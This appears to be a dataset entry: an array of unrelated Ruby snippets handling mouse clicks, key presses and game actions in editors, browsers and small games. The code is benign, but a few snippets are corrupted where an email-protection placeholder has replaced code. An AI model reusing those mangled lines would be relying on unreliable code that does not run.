:mushroom\n x = (mouse_x / SCALE).to_i\n x -= x % 32\n y = (mouse_y / SCALE).to_i\n y -= y % 25\n y += 6\n x += 32 * @x_offset\n y += 25 * @y_offset\n @enemies.push(Mushroom.new(self, x, y))\n elsif @current_selection == :player\n x = (mouse_x / SCALE).to_i\n x -= x % 32\n y = (mouse_y / SCALE).to_i\n y -= y % 25\n x += 32 * @x_offset\n y += 25 * @y_offset\n x += 2\n @player = [x, y]\n elsif @current_selection == :door\n x = (mouse_x / SCALE).to_i\n x -= x % 32\n y = (mouse_y / SCALE).to_i\n y -= y % 25\n x += 32 * @x_offset\n y += 25 * @y_offset\n y += 2 \n @door = [x, y]\n elsif @current_type == :candies\n x = (mouse_x / SCALE).to_i\n y = (mouse_y / SCALE).to_i\n x += 32 * @x_offset\n y += 25 * @y_offset\n @candies.push(Object.const_get(@current_selection.to_s.capitalize).new(self, x, y))\n end\n end\n end", "def onLButtonUp(flags, x, y, view)\n end", "def show\n @sel.visible = false\n @typeInd.visible = false\n @background.y -= (@background.bitmap.height/8)\n for i in 0...@nummoves\n @button[\"#{i}\"].x += ((i%2 == 0 ? 1 : -1)*@viewport.width/16)\n end\n end", "def click\n `#{@el}.click() || Opal.nil`\n end", "def piece_clicked args\n # If not selected before\n if !(args.state.selected == 1)\n # Reset points of selection\n args.state.points.clear()\n \n # Check turn to see pieces of what player we want to move\n pieces = args.state.turn == 0 ? args.state.player.pieces : args.state.enemy.pieces\n \n # If sticks rolled...We allow to move pieces of same player\n # In case left mouse button selected\n if args.state.rolled\n if args.inputs.mouse.button_left || touch_press(args)\n pieces.each do |p|\n #$gtk.log \"INFO: DOING AABB...\"\n if mouse_on_rect(args, args.state.board.x + args.state.tiles[p[:tile]][:x], args.state.board.y + args.state.tiles[p[:tile]][:y], 100, 100)\n # Set args.state.piece to selected piece\n if (p[:onboard] && p[:movable])\n args.outputs.sounds << args.state.click_sound\n piece_movable args, p, pieces\n elsif (p[:onboard] && !p[:movable])\n args.outputs.sounds << args.state.click_sound\n piece_unmovable args, p\n end\n end\n end\n end\n end\n end\n \n if !mouse_on_rect(args, args.state.board.x, args.state.board.y, 1000, 300) && (args.inputs.mouse.button_left || touch_press(args))\n args.state.selected = 0\n end\nend", "def onLButtonDown(flags,x,y,view)\n [email protected]\n ParametricCopy::run(pickpoint)\n Sketchup.send_action(\"selectSelectionTool:\")\n end", "def set_current_tile\n @clicked_tile = \"redemptions\"\n end", "def menu_from_move_key?(x,y, prod_ok)\n !show_move_hls(x, y, DISPLAY_TB) && !TM.selecting? && !prod_ok && \n !TM.selecting_target? && !@move_pos_selecting && check_no_unit?\n end", "def click locator\r\n command 'click', locator\r\n end", "def click locator\r\n command 'click', locator\r\n end", "def click(btn = 'left')\n compatible_call :click, btn\n end", "def area_clicked(leftX, topY, rightX, bottomY)\r\n# complete this code\r\nend", "def click\n @clicked_x = @x\n @clicked_y = @y\n fire(:click, @clicked_x, @clicked_y)\n end", "def clicked(mouse_event)\n end", "def flag(x,y)\n cell = @elements[\"#{x}-#{y}\"]\n\n if @stillPlaying == false\n return false\n elsif cell[\"find\"] == 0 \n if cell[\"flag\"] == 0\n cell[\"flag\"] = 1\n cell[\"show\"] = 'F'\n else\n cell[\"flag\"] = 0\n cell[\"show\"] = '.'\n end\n return true\n end\n\n return false\n end", "def right_click()\n right_mouse_down\n right_mouse_up\n stall :right_click\n end", "def right_click(locator, offset = {})\n x = offset.fetch(:x, 0)\n y = offset.fetch(:y, 0)\n\n element = find_element(locator)\n action.move_to(element, x, y).context_click.perform\n end", "def click(x, y)\n super x, y\n for beam_x in (0..@nbr_beams) do\n for beam_y in (0..@nbr_beams-1) do\n beam_ul, beam_lr = get_vert_beam_rect(beam_x, beam_y)\n if(x > beam_ul[0]-10 && x < beam_lr[0]+10 && y > beam_ul[1]-10 && y < beam_lr[1]+10) then\n send_beam_update false, :v, beam_x, beam_y\n send_event \"vbeam #{beam_x}.#{beam_y} break\"\n sleep 0.5\n send_beam_update true, :v, beam_x, beam_y\n send_event \"vbeam #{beam_x}.#{beam_y} make\"\n break\n end\n end\n end\n for beam_x in (0..@nbr_beams-1) do\n for beam_y in (0..@nbr_beams) do\n beam_ul, beam_lr = get_horiz_beam_rect(beam_x, beam_y)\n if(x > beam_ul[0]-10 && x < beam_lr[0]+10 && y > beam_ul[1]-10 && y < beam_lr[1]+10) then\n send_beam_update false, :h, beam_x, beam_y\n send_event \"hbeam #{beam_x}.#{beam_y} break\"\n sleep 0.5\n send_beam_update true, :h, beam_x, beam_y\n send_event \"hbeam #{beam_x}.#{beam_y} make\"\n break\n end\n end\n end\n end", "def atu_button()\n if $kx_model==2 and ($kx_atu or $kx_extatu)\n button_tap(20)\n elsif $kx_model==3 and ($kx_atu or $kx_extatu)\n button_tap(44)\n else\n return(nil)\n end\n return(true)\nend", "def onRButtonUp(flags, x, y, view)\n end", "def click(btn)\n not_supported \"anything other than left clicking\" unless btn == 'left'\n execute_applescript(%Q`\n tell application \"Extra Suites\"\n ES click mouse\n end tell\n `)\n end", "def pressed?() sdl_event.press end", "def select_piece(left,top)\n clicked_box = get_clicked_box(left,top)\n # select the piece if the piece exists and is a human player piece\n @selected_piece = clicked_box if @board.exists?(clicked_box) && @board.piece(clicked_box).color == HUMAN_PLAYER\n highlight(@selected_piece)\nend", "def onRButtonDown(flags, x, y, view)\r\n ph = view.pick_helper\r\n ph.do_pick x,y\r\n ent = ph.best_picked\r\n focus_control\r\n end", "def actuMap()\n 0.upto(@map.rows-1) do |x|\n 0.upto(@map.cols-1) do |y|\n\n if (@map.accessAt(x,y).value == 1)\n\n if @map.accessAt(x,y).color != nil\n if (@map.accessAt(x,y).color == @nbHypo + 1)\n @timePress[x][y] = 1\n @map.accessAt(x,y).color = @nbHypo\n end\n changeImage(@buttonTab[x][y],@tabCase[@map.accessAt(x,y).color])\n else\n changeImage(@buttonTab[x][y],\"../images/cases/blanc.png\" )\n @timePress[x][y] = 0\n end\n elsif @map.accessAt(x,y).value == 2\n changeImage(@buttonTab[x][y],\"../images/cases/croix.png\" )\n @timePress[x][y] = 0\n\n else\n ajoutLimitation(x,y)\n\n end\n\n end\n\n end\n end", "def on_click\n\t\tend", "def toggle(switch)\n switch == 1 ? 0 : 1\nend", "def play_round\n system(\"clear\")\n @board.render\n puts\n full_move = self.get_full_move\n pos = self.get_position(full_move)\n action = self.get_action(full_move)\n while action.downcase == \"e\" && !(self.valid_flip?(pos))\n self.display_unflag_message\n full_move = self.get_full_move\n pos = self.get_position(full_move)\n action = self.get_action(full_move)\n end\n action.downcase == \"e\" ? @board[pos].reveal : @board[pos].toggle_flag\n @board.reveal_bombs if @board.is_a_bomb?(pos) && @board[pos].revealed\n end", "def click_point(x, y, is_double = false)\n if is_double\n @java_obj.doubleClick(org.sikuli.script::Location.new(x, y).offset(x(), y()), 0)\n else\n @java_obj.click(org.sikuli.script::Location.new(x, y).offset(x(), y()), 0)\n end\n end", "def click\n raise \"Must implement custom click method.\"\n end", "def navigate_to_NBA_fanzone\n\n find(NBA_FANZONE_ICON_WITHIN_LEFT_HAND_SIDE).click\n\n end", "def aide2()\n indice = IndiceMoyen.create(@map)\n res = indice.envoyerIndice.indice.split(\"-\")\n\n x=res[0].to_i\n y=res[1].to_i\n if res[2]==\"0\"\n @map.putAt!(x,y,Case.create(2))\n changeImage(@buttonTab[x][y],\"../images/cases/croix.png\")\n else\n @map.putAt!(x,y,Case.create(1))\n @map.accessAt(x,y).color=1;\n changeImage(@buttonTab[x][y],\"../images/cases/noir.png\")\n end\n @timePress[x][y]+=1\n @timer.add(60)\n if @map.compare\n victoire()\n end\n end", "def onRButtonDown(flags, x, y, view)\n ph = view.pick_helper\n ph.do_pick x,y\n ent = ph.best_picked\n focus_control\n end", "def select_hint view, ch\n # a to y is direct\n # if x or z take a key IF there are those many\n #\n ix = get_index(ch, view.size)\n if ix\n f = view[ix]\n return unless f\n $cursor = $sta + ix\n\n if $mode == 'SEL'\n toggle_select f\n elsif $mode == 'COM'\n run_command f\n elsif $mode == \"forum\"\n display_forum f\n else\n on_enter f\n end\n #selectedix=ix\n end\nend", "def flag index=nil\n index ||= @cursor\n @flags[index] = !@flags[index]\n display\n end", "def action_X\n $game_temp.temp_team = @temp_team if @mode == :select\n # Check if the number of selected Pokemon is equal to the required number\n @running = false if @mode == :select && enough_pokemon? == true\n return if @mode != :menu \n return $game_system.se_play($data_system.buzzer_se) if @intern_mode != :normal or @party.size <= 1\n @base_ui.show_win_text(text_get(23, 19))\n @intern_mode = :choose_move_pokemon\n end", "def remove_flag(pos)\n tile = get_tile(pos)\n unless tile.revealed && !tile.flagged\n tile.flagged = false\n true \n else \n false \n end \n end", "def select_with_click\n if mac_internal?\n press_menu\n else\n click\n end\n selected?\n end", "def flag(x, y)\n @board.flag(x, y)\n end", "def toggle\n\t\tstr = \"\"\n\t\t$togglelist_array.each{|a| str += a[1][2] + \",\"}\n\t\tstr.chop!\n\t\t$screen.write_message(str)\n\t\tc = Curses.getch\n\t\teval($togglelist[c][0])\n\t\t$screen.write_message($togglelist[c][1])\n\tend", "def click_action_icon(action_name)\n find(\"img[data-qtip='#{action_name}']\").click\n end", "def onLButtonDoubleClick(flags, x, y, view)\n end", "def double_click()\n double_click_at :center, :center\n end", "def click(link); end", "def handle_flip(pos)\n tile = get_tile(pos)\n return tile.reveal_tile if tile.val == \"b\" || tile.val.to_i > 0\n\n #recursive call to handle 0s\n possibles = [pos]\n until possibles.empty?\n curr_pos = possibles.shift\n adjs = adjacents(curr_pos)\n adjs.each do |adj|\n handle_flip(adj)\n adj_tile = get_tile(adj)\n end\n end\n\n end", "def click_on(id, x, y)\n # Get the position of this window id\n position = get_position(id)\n # Add the [x, y] passed in by get_position to our x and y\n x += position[0]\n y += position[1]\n # Move the mouse to (x, y), then click\n xdotool \"mousemove #{x} #{y}\"\n xdotool \"click 1\"\n # sleep $sleep_time\nend", "def onClick(dialog, which)\n end", "def button_down_main_menu_presenter(id, window, state)\n case id\n when Gosu::MsLeft\n navigate_to(window, Presenter::HOW_TO_PRESENTER) if mouse_over_button(state[:buttons][:how_to], window.mouse_x, window.mouse_y)\n navigate_to(window, Presenter::MAZE_PRESENTER, { algorithm: MazeAlgorithm::DEPTH_FIRST}) if mouse_over_button(state[:buttons][:depth_first], window.mouse_x, window.mouse_y)\n navigate_to(window, Presenter::MAZE_PRESENTER, { algorithm: MazeAlgorithm::ITERATIVE_DIVISION}) if mouse_over_button(state[:buttons][:iterative_division], window.mouse_x, window.mouse_y)\n window.close if mouse_over_button(state[:buttons][:quit], window.mouse_x, window.mouse_y)\n end\nend", "def clicked(position:)\n d = position.dist(location)\n return unless d < mass\n\n @dragging = true\n @drag_offset = location - position\n end", "def continue\n @victory = false\n @level += 1\n drawFromPixmap\n end", "def clicked(position:)\n d = position.dist(@location)\n return unless d < @mass\n\n @dragging = true\n @drag_offset = @location - position\n end", "def clicked\n @menu_click_sound.play(0.7, 1, false)\n @buttonLogin.clicked\n @buttonClassicAI.clicked\n @buttonOttoAI.clicked\n @buttonHelp.clicked\n\n @buttonHelpLogin.clicked\n @buttonHelpClassicAI.clicked\n @buttonHelpOttoAI.clicked\n end", "def onLButtonDown(flags, x, y, view)\n # When the user clicks the first time, we colelct all the elements in this half of the component. \n # When they click a second time we stop\n if( @state == 0 )\n \t\t# first click\n @ip1.pick view, x, y\n if( @ip1.valid? )\n \t\t\t# user picked first point. \n \t\t\t@gp1 = @ip1.position # global position\n \t\t\tmodel = Sketchup.active_model\n \t\t\t\t\t\t\n \t\t\tif @ci == nil\n \t\t\t\t# there was no ci selected when we started to tool, but perhps the user was hovering over one when they clicked the mouse\n \t\t\t\t@ci = selected_component\n \t\t\t\treturn if @ci == nil\n \t\t\tend\n \t\t\tcd = @ci.definition\t\t# the definition for the component\n \t\t\t#print(\"gp1: \"[email protected]_s + \"\\n\")\n \t\t\t\n \t\t\tlp1 = @ip1.position # local position\n \t\t\tlp1.transform!(@ci.transformation.inverse)\n \t\t\tle = CB_TF.longest_edge(@ci)\n \t\t\t#puts \"longest edge: \" << le.start.position.to_s << \" \" << le.end.position.to_s\n \t\t\tlv = Geom::Vector3d.new(le.line[1])\t#local vector\n \t\t\t#puts \"local vector: \" << lv.to_s\n \t\t\t# We need to locate all gemoetry at \"this\" end of the componenet. We divide it in half the \"long\" way\n \t\t\t# Lets start by finding the plane that bisects the component - the midplane\n \t\t\tmidplane = [cd.bounds.center, lv] \t\t\t\t\t# plane is just a point and a vector - both local\n \t\t\tpp1 = lp1.project_to_plane(midplane)\t\t# pp1 = lp1 projected onto the midplane\n \t\t\tvec1 = pp1.vector_to(lp1)\t\t\t\t\t# vec1 = vector from pp1 to lp1. \n \t\t\t#puts \"vec1: \" << vec1.to_s\n \t\t\t#We do the same for all other points - those whose vector is the same direction as vec1 are on the same side\n \t\t\t@ents_to_move.clear\n \t\t\tcd.entities.each do |e|\n \t\t\t\tcase e\n \t\t\t\t\twhen Sketchup::Edge\n \t\t\t\t\t\t# For edges, both vertices must lie on this side\n \t\t\t\t\t\tep1 = e.start.position\n \t\t\t\t\t\tpep1 = ep1.project_to_plane(midplane)\n \t\t\t\t\t\tnext if ep1 == pep1\n \t\t\t\t\t\tep2 = e.end.position\n \t\t\t\t\t\tpep2 = ep2.project_to_plane(midplane)\n \t\t\t\t\t\tnext if ep2 == pep2\n \t\t\t\t\t\tif pep1.vector_to(ep1).samedirection?(vec1) and pep2.vector_to(ep2).samedirection?(vec1) then\n \t\t\t\t\t\t\t@ents_to_move.push(e)\n \t\t\t\t\t\tend\n \t\t\t\t\t\n \t\t\t\t\twhen Sketchup::ComponentInstance\n \t\t\t\t\t\t# for comps, we'll just test the center point\n \t\t\t\t\t\tcp = e.bounds.center\n \t\t\t\t\t\t#puts \"cp: \" << cp.to_s\n \t\t\t\t\t\tpcp = cp.project_to_plane(midplane)\n \t\t\t\t\t\t#puts \"pcp: \" << pcp.to_s\n \t\t\t\t\t\tnext if pcp == cp\t# component center is on the midplane. Can't take a vector of that. Just skip it.\n \t\t\t\t\t\tif pcp.vector_to(cp).samedirection?(vec1) then\n \t\t\t\t\t\t\t@ents_to_move.push(e)\n \t\t\t\t\t\tend\t\n \t\t\t\t\t# seems that all we need are edges and sub-cmps\n \t\t\t\tend\n \t\t\tend\n \t\t\t\n \t\t\t#puts \"ents to move:\"\n \t\t\t#@ents_to_move.each do |e|\n \t\t\t#\tputs e.to_s\n \t\t\t#end\n \t\t\t\n \t\t\t@gv = lv.clone\t\t\t\t\t\t\t# global vector\n \t\t\[email protected]!(@ci.transformation)\t\t# transform to global space\n \t\t\tif not lv.samedirection?(vec1) \t\t# we want @gv to point in the \"growing\" direction, not the \"shrinking\" direction\n \t\t\t\t#puts \"reversing @gv\"\n \t\t\t\[email protected]!\t\n \t\t\tend\n \t\t\t#puts \"global vector: \" << @gv.to_s\n \t\t\t@min_length = -1.5 * (vec1.length)\n \t\t\t#puts \"min_length: \" << @min_length.to_s\n \t\t\t@prev_pos = lp1\t\n \t\t\t#puts \"@prev_pos: \" << @prev_pos.to_s\n Sketchup::set_status_text \"Select Stretch Destination\", SB_PROMPT\n Sketchup.vcb_label = \"Stretch Distance\"\n @state = 1\n \t\t\tSketchup.active_model.start_operation(\"TF Stretch\")\t\t\t\n\n end\n \t \n else # second mouse click - we're done, just clean up\n if( @ip2.valid? )\n self.reset(view)\n end\n end\n \n # Clear any inference lock\n view.lock_inference\n end", "def switch_flag(coords)\n\t\tsquare = get_square(coords)\n\t\tif square.flag == false \t\t# If Square isn't flagged already\n\t\t\tsquare.switch_flag\n\t\t\t@flags_remaining -= 1\n\t\telsif square.flag == true \t# If Square is flagged already\n\t\t\tsquare.switch_flag\n\t\t\t@flags_remaining += 1\n\t\tend\n\tend", "def drawer_clicked(data)\n ActionCable.server.broadcast 'games', event: data['event'], position: {xPos: data['position']['xPos'], yPos: data['position']['yPos']}\n end", "def action\n case item.type\n when :switch, :bar\n toggle_item\n when :advanced\n process_method\n when :variable\n open_popup\n end\n end", "def show_single_key\n system(\"clear\")\n board.render\n\n c = read_char\n\n case c\n when \"\\e[A\"\n # puts \"UP ARROW\"\n board.selected_pos[0] -= 1 unless board.selected_pos[0] < 1\n when \"\\e[B\"\n board.selected_pos[0] += 1 unless board.selected_pos[0] > 7\n # puts \"DOWN ARROW\"\n when \"\\e[C\"\n board.selected_pos[1] += 1 unless board.selected_pos[1] > 7\n # puts \"RIGHT ARROW\"\n when \"\\e[D\"\n board.selected_pos[1] -= 1 unless board.selected_pos[1] < 1\n # puts \"LEFT ARROW\"\n when \"r\"\n make_move(board.selected_pos,\"r\")\n when \"f\"\n make_move(board.selected_pos,\"f\")\n when \"s\"\n save?\n end\n end", "def clicked\n @return.clicked\n end", "def choose_first_click; end", "def go_to(rows,cols,face=nil)\n \tface = 'north' if (rows == 0 && cols == 0)\n @position.change ({:x => rows, :y => cols, :face => face.to_sym}) if face\n end", "def right_mouse_button\n case @lists[:active]\n when @lists['parallax']\n @p_selection = nil\n @p_image = nil\n when @lists['maps']\n when @lists['objects']\n @ob_selection = nil\n @ob_image = nil\n end\n \n end", "def call_shot args\n item = args.state.call_index\n\n # selecting pocket conditional tree\n if args.state.ball_chosen\n pocket = args.state.pockets[item]\n # set the pocket's image to the highlighted version of pocket\n pocket[4] = \"sprites/highlighted_pocket.png\"\n\n # change pocket\n # Direction press\n if args.state.controller.key_down.right\n pocket[4] = \"sprites/pocket.png\"\n # ignore the \"if\" if it feels non-intuitive\n if !(item == 2 || item == 5)\n # args.state.call_index = (args.state.call_index + 3) % args.state.pockets.length\n # else\n args.state.call_index = (args.state.call_index + 1) % args.state.pockets.length\n end\n # Direction press\n elsif args.state.controller.key_down.left\n pocket[4] = \"sprites/pocket.png\"\n # ignore the \"if\" if it feels non-intuitive\n if !(item == 0 || item == 3)\n # args.state.call_index = (args.state.call_index + 3) % args.state.pockets.length\n # else\n args.state.call_index = (args.state.call_index - 1) % args.state.pockets.length\n end\n # Direction press\n elsif args.state.controller.key_down.up || args.state.controller.key_down.down\n pocket[4] = \"sprites/pocket.png\"\n args.state.call_index = (args.state.call_index + 3) % args.state.pockets.length\n end\n\n # A press\n # select pocket and start cueing up\n if args.state.controller.key_down.b\n args.state.called_pocket = pocket\n args.state.movement_mode = \"cue\"\n args.state.successful_call = false\n end\n\n # B press\n # reset pocket and go back to choosing ball\n if args.state.controller.key_down.a\n pocket[4] = \"sprites/pocket.png\"\n args.state.call_index = 0\n args.state.ball_chosen = false\n called_ball = args.state.called_ball\n called_ball[1][:path] = \"sprites/ball#{called_ball[0]}.png\"\n end\n\n # selecting ball\n else\n # only look at the current player's group\n if (args.state.player == 0 && args.state.player1_type == 0) || (args.state.player == 1 && args.state.player1_type == 1)\n current_ball = args.state.balls[1 + item]\n else \n current_ball = args.state.balls[args.state.first_stripe + item]\n end\n\n number = current_ball[:ball_number]\n image = current_ball[:path]\n\n # replace this ball's image with the highlighted version\n if !(image == \"sprites/highlighted_ball#{number}.png\")\n args.state.ball_image = number\n current_ball[:path] = \"sprites/highlighted_ball#{number}.png\" \n else\n # Direction press\n # change ball\n if args.state.controller.key_down.right\n # return the current_ball to its original image\n current_ball[:path] = \"sprites/ball#{args.state.ball_image}.png\"\n # go to the next ball\n if (args.state.player == 0 && args.state.player1_type == 0) || (args.state.player == 1 && args.state.player1_type == 1)\n args.state.call_index = (args.state.call_index + 1) % (7 - args.state.pocketed_solids)\n else\n args.state.call_index = (args.state.call_index + 1) % (7 - args.state.pocketed_stripes)\n end\n\n # Direction press\n elsif args.state.controller.key_down.left\n # return the current_ball to its original image\n current_ball[:path] = \"sprites/ball#{args.state.ball_image}.png\"\n # go to the next ball\n if (args.state.player == 0 && args.state.player1_type == 0) || (args.state.player == 1 && args.state.player1_type == 1)\n args.state.call_index =(args.state.call_index - 1) % (7 - args.state.pocketed_solids)\n else\n args.state.call_index = (args.state.call_index - 1) % (7 - args.state.pocketed_stripes)\n end\n end\n\n # R1 press L1 press\n # if table open, switch ball group (by changing first player's group)\n if args.state.table_open\n if args.state.controller.key_down.r1 || args.state.controller.key_down.l1\n args.state.player1_type = 1 - args.state.player1_type\n current_ball[:path] = \"sprites/ball#{args.state.ball_image}.png\"\n end\n end\n\n # A press\n # select ball (store its original image to bring it back to normal)\n if args.state.controller.key_down.b\n args.state.called_ball = [number, current_ball]\n args.state.ball_chosen = true\n args.state.call_index = 0\n end\n end\n end\nend", "def button_clicked(tileNumber)\n #\n #\n # Step 5: set up some simple logic to flip the tiles according\n # to whose turn it is\n #\n #\n\n @controller.update_model(tileNumber % 7)\n\n # tmp = @builder.get_object(\"button\" + tileNumber.to_s).label\n # if tmp == @blankTile\n # if @turn == @t\n # @turn = @o\n # # @builder.get_object(\"button\" + tileNumber.to_s).set_label(T)\n # [email protected]_object(\"button\" + tileNumber.to_s)\n # else\n # @turn = @t\n # @builder.get_object(\"button\" + tileNumber.to_s).set_label(O)\n # end\n # end\n #\n # if win?\n # system(\"clear\")\n # if @turn == @t\n # popup (\"Player O is the winner\")\n # else\n # popup (\"Player T is the winner\")\n # end\n # end\n check_class_invariants\n end", "def switchGesture _obj, _args\n \"_obj switchGesture _args;\" \n end", "def board_mode args\r\n\t#Selects a specific screen output function\r\n\tcase args.state.screen_select\r\n\t\twhen 1.1\r\n\t\t\tSS1_1 args\r\n\t\twhen 1.2\r\n\t\t\tSS1_2 args\r\n\t\twhen 1.3\r\n\t\t\t#Resets randomNumber\r\n\t\t\targs.state.randomNumber = 0\r\n\t\t\targs.state.spaces_moved = 0\r\n\t\t\tSS1_3 args\r\n\t\twhen 1.4\r\n\t\t\tSS1_4 args\r\n\tend\r\nend", "def do_action(event)\n case event.class.to_s\n when 'CellClickEvent'\n place_counter(event.col)\n when 'ForfeitClickEvent'\n forfeit\n when 'CounterSelectedEvent'\n @counter_select = event.index\n false\n else\n false\n end\n end", "def play_turn\n board.render\n pos = get_pos\n decision = get_decision\n if decision == \"r\"\n board.reveal(pos)\n elsif decision == \"f\"\n board.flag(pos)\n else\n @saved_board = board.to_yaml\n end\n end", "def click_at locator, coord_string\r\n command 'clickAt', locator, coord_string\r\n end", "def onKeyDown(key, repeat, flags, view)\n## puts \"onKeyDown called\"\n ## Check for Arrow keys to toggle axis lock\n case key \n when VK_RIGHT ## Right arrow key pressed: toggle red axis lock on/off\n if @@axis_lock == X_AXIS then ## Red axis lock was on: turn all axis locks off\n @@axis_lock = NO_LOCK\n @cursor_text = \"\\n\\n\" + @profile[1]\n else\n @@axis_lock = X_AXIS ## turn red axis lock on\n ## Reset long axis to axis lock and recalculate @vec5\n @reported_normal = @@axis_lock\n @vec5 = Z_AXIS.cross @reported_normal\n @cursor_text = \"\\n\\n\" + @profile[1] + \"\\nX locked\"\n end\n when VK_LEFT ## Left arrow key pressed: toggle green axis lock on/off\n if @@axis_lock == Y_AXIS then ## Y-axis lock was on: turn all axis locks off\n @@axis_lock = NO_LOCK\n @cursor_text = \"\\n\\n\" + @profile[1]\n else\n @@axis_lock = Y_AXIS ## turn green axis lock on\n ## Reset long axis to axis lock and recalculate @vec5\n @reported_normal = @@axis_lock\n @vec5 = Z_AXIS.cross @reported_normal\n @cursor_text = \"\\n\\n\" + @profile[1] + \"\\nY locked\"\n end\n ##view.refresh\n when VK_DOWN ## Down arrow key pressed: toggle blue axis lock on/off\n if @@axis_lock == Z_AXIS then ## Axis lock was on: turn all axis locks off\n @@axis_lock = NO_LOCK\n @cursor_text = \"\\n\\n\" + @profile[1]\n else\n @@axis_lock = Z_AXIS ## turn blue axis lock on\n ## Reset long axis to axis lock \n @reported_normal = @@axis_lock\n @vec5 = Y_AXIS\n @cursor_text = \"\\n\\n\" + @profile[1] + \"\\nZ locked\"\n end\n when VK_UP ## Up arrow key pressed: toggle blue axis lock on/off\n if @@axis_lock == Z_AXIS then ## Axis lock was on: turn all axis locks off\n @@axis_lock = NO_LOCK\n else\n @@axis_lock = Z_AXIS ## turn blue axis lock on\n ## Reset long axis to axis lock and recalculate @vec5\n @reported_normal = @@axis_lock\n @vec5 = Y_AXIS\n @cursor_text = \"\\n\\n\" + @profile[1] + \"\\nZ locked\"\n end\n when CONSTRAIN_MODIFIER_KEY\n if( repeat == 1 )\n @shift_down_time = Time.now\n## puts \"CONSTRAINED\"\n ## if we already have an inference lock, then unlock it\n if( view.inference_locked? )\n ## calling lock_inference with no arguments actually unlocks\n view.lock_inference\n elsif( @state == 0 && @ip1.valid? )\n view.lock_inference @ip1\n view.line_width = 3\n elsif( @state <= 2 && @ip2.valid? )\n view.lock_inference @ip2, @ip1\n view.line_width = 3\n end\n end\n when 9 ## Tab key: Cycle through flipX, flipY, flipXY, noflip\n## puts \"@state = \" + @state.to_s\n if @state == 1 ## Only applicable when cross-section has been drawn\n @flip = (@flip + 1)%4 \n\n ## puts \"flip state = \" + @flip.to_s\n ##Reorient inserted profile\n ##If needed, flip profile in x, y, or both directions\n ## if @comp_defn.instances[-1] ## don't try unless there's something created \n ## case @flip \n ## when 0 ## flip X\n ## @comp_defn.instances[-1].transform! flip_x\n ## when 1 ## flip Y\n ## @comp_defn.instances[-1].transform! flip_y\n ## when 2 ## flip X & Y (Y was already flipped) \n ## @comp_defn.instances[-1].transform! flip_x \n ## when 3 ## flip back to original\n ## @comp_defn.instances[-1].transform! flip_y\n ## end ## case @flip\n ## end ## if@comp_defn.instances[-1]\n end ## if @state\n end ## case key\n\n ## puts\"Selected axis = \" + @@axis_lock.inspect.to_s\n ## force change of cursor on screen\n self.onSetCursor() \n false\n\n end", "def onMouseDown(sender, sel, event)\n\n half = @pieceSize / 2\n\n x, y = event.win_x, event.win_y\n column, row = xy2coord(x, y)\n\n target = self[column][row].hit(x % @tileSize, y % @tileSize)\n\n case target\n when Piece\n if @game.canDrag? target\n @drag = Drag.new @canvas, target, target.tile,\n FXPoint.new(x - half, y - half)\n \n updateTile column, row # delete old version.\n repaintTile column, row # and force redraw now.\n \n @drag.saveBuffer # Save what where we will draw\n\n FXDCWindow.new(@canvas) do |dc|\n @drag.piece.draw dc, @drag.pos.x, @drag.pos.y, true # Draw over.\n end\n end\n when Tile\n @game.press target\n end\n\n return 1\n end", "def target_clicked?\n inputs.mouse.down && inputs.mouse.point.inside_rect?(scale_up(grid.target))\n end", "def clicked(position:)\n d = position.dist(location)\n return unless d < @mass\n\n @dragging = true\n @drag_offset = location - position\n end", "def star_clicked?\n inputs.mouse.down && inputs.mouse.point.inside_rect?(scale_up(grid.star))\n end", "def rightclick(componentName, o1 = nil, o2 = nil, o3 = nil, o4 = nil, o5 = nil)\n $marathon.click(componentName, true, o1, o2, o3, o4, o5)\nend", "def click_cell(board, click_coordinates)\n if board[click_coordinates[1]][click_coordinates[0]] == MINE\n print \"YOU DIED!\"\n return false\n end\n new_board = duplicate(board)\n click_cell_mutator(new_board, click_coordinates)\n new_board\nend", "def victory?\n x = $last_btn.x\n y = $last_btn.y\n vic = false\n if x == 0\n vic = check_2_btns($glob.btns.by_c(x + 1,y),$glob.btns.by_c(x + 2,y))\n elsif x == 1\n vic = check_2_btns($glob.btns.by_c(x + 1,y),$glob.btns.by_c(x - 1,y))\n else\n vic = check_2_btns($glob.btns.by_c(x - 1,y),$glob.btns.by_c(x - 2,y))\n end\n if vic == false\n if y == 0 \n vic = check_2_btns($glob.btns.by_c(x,y + 1),$glob.btns.by_c(x,y + 2))\n elsif y == 1\n vic = check_2_btns($glob.btns.by_c(x,y + 1),$glob.btns.by_c(x,y - 1))\n else\n vic = check_2_btns($glob.btns.by_c(x,y - 1),$glob.btns.by_c(x,y - 2))\n end \n else\n return vic\n end \n if vic == false\n if x == 0 and y == 0\n vic = check_2_btns($glob.btns.by_c(1,1),$glob.btns.by_c(2,2))\n elsif x == 2 and y == 2\n vic = check_2_btns($glob.btns.by_c(0,0),$glob.btns.by_c(1,1))\n elsif x == 2 and y == 0\n vic = check_2_btns($glob.btns.by_c(1,1),$glob.btns.by_c(0,2))\n elsif x == 0 and y == 2\n vic = check_2_btns($glob.btns.by_c(1,1),$glob.btns.by_c(2,0))\n elsif x == 1 and y == 1\n vic = check_2_btns($glob.btns.by_c(0,0),$glob.btns.by_c(2,2))\n return vic if vic != false\n vic = check_2_btns($glob.btns.by_c(2,0),$glob.btns.by_c(0,2))\n end \n end \n return vic\n end", "def click_action\n raise NotImplementedError \"Subclasses must implement this method\"\n end", "def act(char, x, y)\n if @map[x,y] && @map[x,y].action\n $log.debug(\"Action: #{@map[x,y].action}\") if $log\n self.send(@map[x,y].action, char)\n end\n end", "def action_A\n case @mode\n when :menu\n action_A_menu\n else\n $game_system.se_play($data_system.decision_se)\n show_choice\n end\n end", "def toggle_advanced(action)\n toggle_advanced_icon.click if toggle_advanced_icon.text.include?(\"Show Advanced\") == action\n end", "def on_click\n @status_window_tb.hide\n $game_map.clear_next_highlights\n reset_aoe_follows\n #@spriteset.remove_group(DISPLAY_TB) # @spriteset.dispose_highlights_tb\n remove_show_hls\n end", "def command_126(*args, &block)\n $game_temp.affix_gain_item_event_flag = true\n marw_command126_8qu7(*args, &block) # Call Original Method\n $game_temp.affix_gain_item_event_flag = false\n end", "def button_down(id)\n # ENTER: launch A* algorithm\n if id == Gosu::KbReturn && ready?\n @grid.update_neighbors\n a_star\n @needs_reset = true\n end\n\n # SUPPR: clear window\n reset! if id == Gosu::KbDelete\n end", "def onClick(block=nil)\n @gtkEvent.signal_connect(\"button_release_event\") { |_, event|\n isClick(event.x.truncate,event.y.truncate)\n }\n end" ]
